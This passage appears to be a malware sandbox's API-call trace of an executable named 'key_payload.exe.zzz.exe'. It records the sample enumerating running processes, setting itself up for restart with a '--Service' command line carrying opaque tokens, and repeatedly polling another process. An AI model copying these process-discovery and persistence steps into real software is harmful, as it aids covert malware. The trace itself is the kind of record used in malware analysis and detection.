dwProcessId=0xbd4) returned 0x230 [0229.141] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.142] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa20000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="seafoodoptwherever.exe") returned 0x16 [0229.142] CloseHandle (hObject=0x230) returned 1 [0229.142] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x230 [0229.142] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.143] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb80000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="hayes.exe") returned 0x9 [0229.143] CloseHandle (hObject=0x230) returned 1 [0229.143] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x230 [0229.143] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.144] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdf0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="definitionselectionsea.exe") returned 0x1a [0229.144] CloseHandle (hObject=0x230) returned 1 [0229.144] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb30) returned 0x230 [0229.144] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.145] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x930000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="containers-reprint-true.exe") returned 0x1b [0229.145] CloseHandle (hObject=0x230) returned 1 [0229.145] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x230 [0229.145] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.146] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="containingbarryslovenia.exe") returned 0x1b [0229.146] CloseHandle (hObject=0x230) returned 1 [0229.146] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab0) returned 0x230 [0229.146] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.146] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xef0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="jones weekend fundamental.exe") returned 0x1d [0229.147] CloseHandle (hObject=0x230) returned 1 [0229.147] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x230 [0229.147] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.148] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc30000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="requesting.exe") returned 0xe [0229.148] CloseHandle (hObject=0x230) returned 1 [0229.148] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d8) returned 0x230 [0229.148] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.148] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xda0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="walls flashing hull.exe") returned 0x17 [0229.149] CloseHandle (hObject=0x230) returned 1 [0229.149] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x0 [0229.149] CloseHandle (hObject=0x0) returned 0 [0229.149] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x230 [0229.149] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.161] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0229.161] CloseHandle (hObject=0x230) returned 1 [0229.161] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x230 [0229.161] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.161] CloseHandle (hObject=0x230) returned 1 [0229.161] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd4c) returned 0x0 [0229.161] CloseHandle (hObject=0x0) returned 0 [0229.161] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa2c) returned 0x230 [0229.161] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.161] CloseHandle (hObject=0x230) returned 1 [0229.162] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x0 [0229.162] CloseHandle (hObject=0x0) returned 0 [0229.162] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x268) returned 0x230 [0229.162] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.163] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0229.163] CloseHandle (hObject=0x230) returned 1 [0229.163] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0c) returned 0x230 [0229.163] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.164] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0229.164] CloseHandle (hObject=0x230) returned 1 [0229.164] GetLastError () returned 0x6 [0229.164] SetLastError (dwErrCode=0x6) [0229.164] SetLastError (dwErrCode=0x6) [0229.164] GetLastError () returned 0x6 [0229.164] SetLastError (dwErrCode=0x6) [0229.164] InitCommonControlsEx (picce=0x9cef50) returned 1 [0229.165] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0x9ce758, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0229.165] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0229.165] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0229.165] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadPreferredUILanguages") returned 0x751495e0 [0229.165] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x9ce62c, pwszLanguagesBuffer=0x9ce63c, pcchLanguagesBuffer=0x9ce630 | out: pulNumLanguages=0x9ce62c, pwszLanguagesBuffer=0x9ce63c, pcchLanguagesBuffer=0x9ce630) returned 1 [0229.165] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0229.165] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0229.165] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3, lpLCData=0x9ce5e0, cchData=4 | out: lpLCData="ENU") returned 4 [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] GetLastError () returned 0x0 [0229.166] SetLastError (dwErrCode=0x0) [0229.166] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0229.166] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0229.166] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x3, lpLCData=0x9ce5e0, cchData=4 | out: lpLCData="ENU") returned 4 [0229.166] GetLastError () returned 0x2 [0229.166] SetLastError (dwErrCode=0x2) [0229.166] GetLastError () returned 0x2 [0229.166] SetLastError (dwErrCode=0x2) [0229.166] GetLastError () returned 0x2 [0229.166] SetLastError (dwErrCode=0x2) [0229.166] GetLastError () returned 0x2 [0229.166] SetLastError (dwErrCode=0x2) [0229.166] GetLastError () returned 0x2 [0229.166] SetLastError (dwErrCode=0x2) [0229.166] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0229.167] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0229.167] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0229.167] CoCreateGuid (in: pguid=0x9ce950 | out: pguid=0x9ce950*(Data1=0x76becce, Data2=0xaa69, Data3=0x4675, Data4=([0]=0xa7, [1]=0x5d, [2]=0x46, [3]=0x50, [4]=0xb7, [5]=0x56, [6]=0x5, [7]=0xec))) returned 0x0 [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.167] GetLastError () returned 0x2 [0229.167] SetLastError (dwErrCode=0x2) [0229.231] SetLastError (dwErrCode=0x2) [0229.231] GetLastError () returned 0x2 [0229.231] SetLastError (dwErrCode=0x2) [0229.232] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0229.232] GetProcAddress (hModule=0x75130000, lpProcName="RegisterApplicationRestart") returned 0x75152250 [0229.232] RegisterApplicationRestart (pwzCommandline="--Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0 /RestartByRestartManager:076BECCE-AA69-4675-A75D-4650B75605EC", dwFlags=0x0) returned 0x0 [0229.232] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0xb477e0 [0229.232] SHGetMalloc (in: ppMalloc=0xb4c844 | out: ppMalloc=0xb4c844*=0x750f5ee0) returned 0x0 [0229.234] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0229.234] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0229.234] VerifyVersionInfoW (in: lpVersionInformation=0x9ce868, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0x9ce868) returned 1 [0229.234] GetSystemMetrics (nIndex=4096) returned 0 [0229.234] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.234] GetSysColor (nIndex=21) returned 0x696969 [0229.234] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0229.234] GetDeviceCaps (hdc=0x10105e0, index=12) returned 32 [0229.234] GetSysColor (nIndex=15) returned 0xf0f0f0 [0229.234] GetSysColor (nIndex=16) returned 0xa0a0a0 [0229.234] GetSysColor (nIndex=21) returned 0x696969 [0229.234] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.234] GetSysColor (nIndex=20) returned 0xffffff [0229.234] GetSysColor (nIndex=18) returned 0x0 [0229.234] GetSysColor (nIndex=17) returned 0x6d6d6d [0229.234] GetSysColor (nIndex=6) returned 0x646464 [0229.234] GetSysColor (nIndex=13) returned 0xff9933 [0229.234] GetSysColor (nIndex=14) returned 0xffffff [0229.234] GetSysColor (nIndex=5) returned 0xffffff [0229.234] GetSysColor (nIndex=8) returned 0x0 [0229.234] GetSysColor (nIndex=9) returned 0x0 [0229.234] GetSysColor (nIndex=7) returned 0x0 [0229.234] GetSysColor (nIndex=2) returned 0xd1b499 [0229.234] GetSysColor (nIndex=3) returned 0xdbcdbf [0229.234] GetSysColor (nIndex=27) returned 0xead1b9 [0229.234] GetSysColor (nIndex=28) returned 0xf2e4d7 [0229.234] GetSysColor (nIndex=10) returned 0xb4b4b4 [0229.235] GetSysColor (nIndex=11) returned 0xfcf7f4 [0229.235] GetSysColor (nIndex=19) returned 0x0 [0229.235] GetSysColor (nIndex=26) returned 0xcc6600 [0229.235] GetSysColorBrush (nIndex=16) returned 0x1100075 [0229.235] GetSysColorBrush (nIndex=20) returned 0x1100076 [0229.235] GetSysColorBrush (nIndex=5) returned 0x110007b [0229.235] DeleteObject (ho=0x6100734) returned 1 [0229.235] CreateSolidBrush (color=0xf0f0f0) returned 0x2110073a [0229.235] DeleteObject (ho=0x17100739) returned 1 [0229.235] CreateSolidBrush (color=0xf0f0f0) returned 0x7100734 [0229.235] DeleteObject (ho=0x6100731) returned 1 [0229.235] CreateSolidBrush (color=0xd1b499) returned 0x701005ec [0229.236] DeleteObject (ho=0x211006f6) returned 1 [0229.236] CreateSolidBrush (color=0xdbcdbf) returned 0x18100739 [0229.236] DeleteObject (ho=0x6f10056c) returned 1 [0229.236] CreateSolidBrush (color=0xff9933) returned 0x7100731 [0229.236] DeleteObject (ho=0x810063b) returned 1 [0229.236] CreateSolidBrush (color=0x696969) returned 0x2010072d [0229.236] DeleteObject (ho=0x3f100715) returned 1 [0229.236] CreateSolidBrush (color=0xffffff) returned 0x221006f6 [0229.236] DeleteObject (ho=0x430073e) returned 1 [0229.236] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x530073e [0229.236] DeleteObject (ho=0x7430056b) returned 1 [0229.236] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x7530056b [0229.236] DeleteObject (ho=0x630074c) returned 1 [0229.236] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x730074c [0229.236] DeleteObject (ho=0x8100741) returned 1 [0229.236] CreateSolidBrush (color=0xf7f7f7) returned 0x40100715 [0229.236] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0229.236] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0229.236] GetDeviceCaps (hdc=0x10105e0, index=88) returned 96 [0229.236] DeleteObject (ho=0x3a0a0552) returned 1 [0229.236] DeleteObject (ho=0x210a0749) returned 1 [0229.236] DeleteObject (ho=0xe0a074e) returned 1 [0229.236] DeleteObject (ho=0x10a0752) returned 1 [0229.236] DeleteObject (ho=0x50a0748) returned 1 [0229.236] DeleteObject (ho=0x10a0751) returned 1 [0229.236] DeleteObject (ho=0x20a074f) returned 1 [0229.236] DeleteObject (ho=0x20a0750) returned 1 [0229.236] DeleteObject (ho=0xc0a074a) returned 1 [0229.237] DeleteObject (ho=0x820a0563) returned 1 [0229.237] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x9ce5f0, fWinIni=0x0 | out: pvParam=0x9ce5f0) returned 1 [0229.237] GetTextCharsetInfo (in: hdc=0x10105e0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0229.237] lstrcpyW (in: lpString1=0x9ce804, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0229.237] EnumFontFamiliesW (hdc=0x10105e0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0229.241] lstrcpyW (in: lpString1=0x9ce804, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x830a0563 [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0xd0a074a [0229.241] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x9ce3f8, fWinIni=0x0 | out: pvParam=0x9ce3f8) returned 1 [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x30a0750 [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x30a074f [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x20a0751 [0229.241] GetSystemMetrics (nIndex=72) returned 15 [0229.241] lstrcpyW (in: lpString1=0x9ce804, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0229.241] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x60a0748 [0229.241] GetStockObject (i=17) returned 0x18a0025 [0229.242] GetObjectW (in: h=0x18a0025, c=92, pv=0x9ce7e8 | out: pv=0x9ce7e8) returned 92 [0229.242] lstrcpyW (in: lpString1=0x9ce804, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0229.242] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x20a0752 [0229.242] CreateFontIndirectW (lplf=0x9ce7e8) returned 0xf0a074e [0229.242] GetStockObject (i=17) returned 0x18a0025 [0229.243] GetObjectW (in: h=0x18a0025, c=92, pv=0x9ce7e8 | out: pv=0x9ce7e8) returned 92 [0229.243] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x220a0749 [0229.243] CreateFontIndirectW (lplf=0x9ce7e8) returned 0x3b0a0552 [0229.243] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0229.243] SelectObject (hdc=0xa0100d0, h=0x830a0563) returned 0x18a0048 [0229.243] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x9ce36c | out: lptm=0x9ce36c) returned 1 [0229.244] SelectObject (hdc=0xa0100d0, h=0x20a0752) returned 0x830a0563 [0229.244] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x9ce36c | out: lptm=0x9ce36c) returned 1 [0229.244] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x20a0752 [0229.244] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0229.244] DeleteObject (ho=0x18a0025) returned 1 [0229.244] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0229.244] GetSystemMetrics (nIndex=49) returned 16 [0229.244] GetSystemMetrics (nIndex=50) returned 16 [0229.244] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0229.244] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0229.244] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x9ce780 | out: lpmi=0x9ce780) returned 1 [0229.244] CopyRect (in: lprcDst=0x9ce7a8, lprcSrc=0x9ce794 | out: lprcDst=0x9ce7a8) returned 1 [0229.244] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0229.244] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0229.244] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0229.244] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.244] GetSysColor (nIndex=21) returned 0x696969 [0229.244] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0229.244] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0229.244] GetSysColor (nIndex=15) returned 0xf0f0f0 [0229.244] GetSysColor (nIndex=16) returned 0xa0a0a0 [0229.245] GetSysColor (nIndex=21) returned 0x696969 [0229.245] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.245] GetSysColor (nIndex=20) returned 0xffffff [0229.245] GetSysColor (nIndex=18) returned 0x0 [0229.245] GetSysColor (nIndex=17) returned 0x6d6d6d [0229.245] GetSysColor (nIndex=6) returned 0x646464 [0229.245] GetSysColor (nIndex=13) returned 0xff9933 [0229.245] GetSysColor (nIndex=14) returned 0xffffff [0229.245] GetSysColor (nIndex=5) returned 0xffffff [0229.245] GetSysColor (nIndex=8) returned 0x0 [0229.245] GetSysColor (nIndex=9) returned 0x0 [0229.245] GetSysColor (nIndex=7) returned 0x0 [0229.245] GetSysColor (nIndex=2) returned 0xd1b499 [0229.245] GetSysColor (nIndex=3) returned 0xdbcdbf [0229.245] GetSysColor (nIndex=27) returned 0xead1b9 [0229.245] GetSysColor (nIndex=28) returned 0xf2e4d7 [0229.245] GetSysColor (nIndex=10) returned 0xb4b4b4 [0229.245] GetSysColor (nIndex=11) returned 0xfcf7f4 [0229.245] GetSysColor (nIndex=19) returned 0x0 [0229.245] GetSysColor (nIndex=26) returned 0xcc6600 [0229.245] GetSysColorBrush (nIndex=16) returned 0x1100075 [0229.245] GetSysColorBrush (nIndex=20) returned 0x1100076 [0229.245] GetSysColorBrush (nIndex=5) returned 0x110007b [0229.245] DeleteObject (ho=0x2110073a) returned 1 [0229.245] CreateSolidBrush (color=0xf0f0f0) returned 0x9100741 [0229.245] DeleteObject (ho=0x7100734) returned 1 [0229.245] CreateSolidBrush (color=0xf0f0f0) returned 0x7010056c [0229.245] DeleteObject (ho=0x701005ec) returned 1 [0229.245] CreateSolidBrush (color=0xd1b499) returned 0x910063b [0229.245] DeleteObject (ho=0x18100739) returned 1 [0229.245] CreateSolidBrush (color=0xdbcdbf) returned 0x210075d [0229.245] DeleteObject (ho=0x7100731) returned 1 [0229.245] CreateSolidBrush (color=0xff9933) returned 0x2210073a [0229.245] DeleteObject (ho=0x2010072d) returned 1 [0229.246] CreateSolidBrush (color=0x696969) returned 0x8100734 [0229.246] DeleteObject (ho=0x221006f6) returned 1 [0229.246] CreateSolidBrush (color=0xffffff) returned 0x711005ec [0229.246] DeleteObject (ho=0x530073e) returned 1 [0229.246] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x630073e [0229.246] DeleteObject (ho=0x7530056b) returned 1 [0229.246] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x7630056b [0229.246] DeleteObject (ho=0x730074c) returned 1 [0229.246] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x830074c [0229.246] DeleteObject (ho=0x40100715) returned 1 [0229.246] CreateSolidBrush (color=0xf7f7f7) returned 0x8100731 [0229.246] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0229.246] GetActiveWindow () returned 0x0 [0229.246] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb74488, nSize=0x400 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0229.246] PathRemoveFileSpecW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0229.246] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0229.246] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x9ce98c | out: pNumArgs=0x9ce98c) returned 0xb54f00*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0229.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0229.247] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0229.746] CloseHandle (hObject=0x224) returned 1 [0229.746] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0229.746] Sleep (dwMilliseconds=0x1) [0229.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0229.758] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0230.259] CloseHandle (hObject=0x224) returned 1 [0230.259] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0230.260] Sleep (dwMilliseconds=0x1) [0230.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0230.273] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0230.800] CloseHandle (hObject=0x224) returned 1 [0230.800] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0230.800] Sleep (dwMilliseconds=0x1) [0230.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0230.836] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0231.336] CloseHandle (hObject=0x224) returned 1 [0231.336] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0231.336] Sleep (dwMilliseconds=0x1) [0231.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0231.352] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0231.852] CloseHandle (hObject=0x224) returned 1 [0231.852] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0231.852] Sleep (dwMilliseconds=0x1) [0231.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0231.867] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0233.366] CloseHandle (hObject=0x224) returned 1 [0233.366] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0233.367] Sleep (dwMilliseconds=0x1) [0233.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0233.383] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0233.883] CloseHandle (hObject=0x224) returned 1 [0233.883] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0233.883] Sleep (dwMilliseconds=0x1) [0233.899] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0233.899] WaitForSingleObject 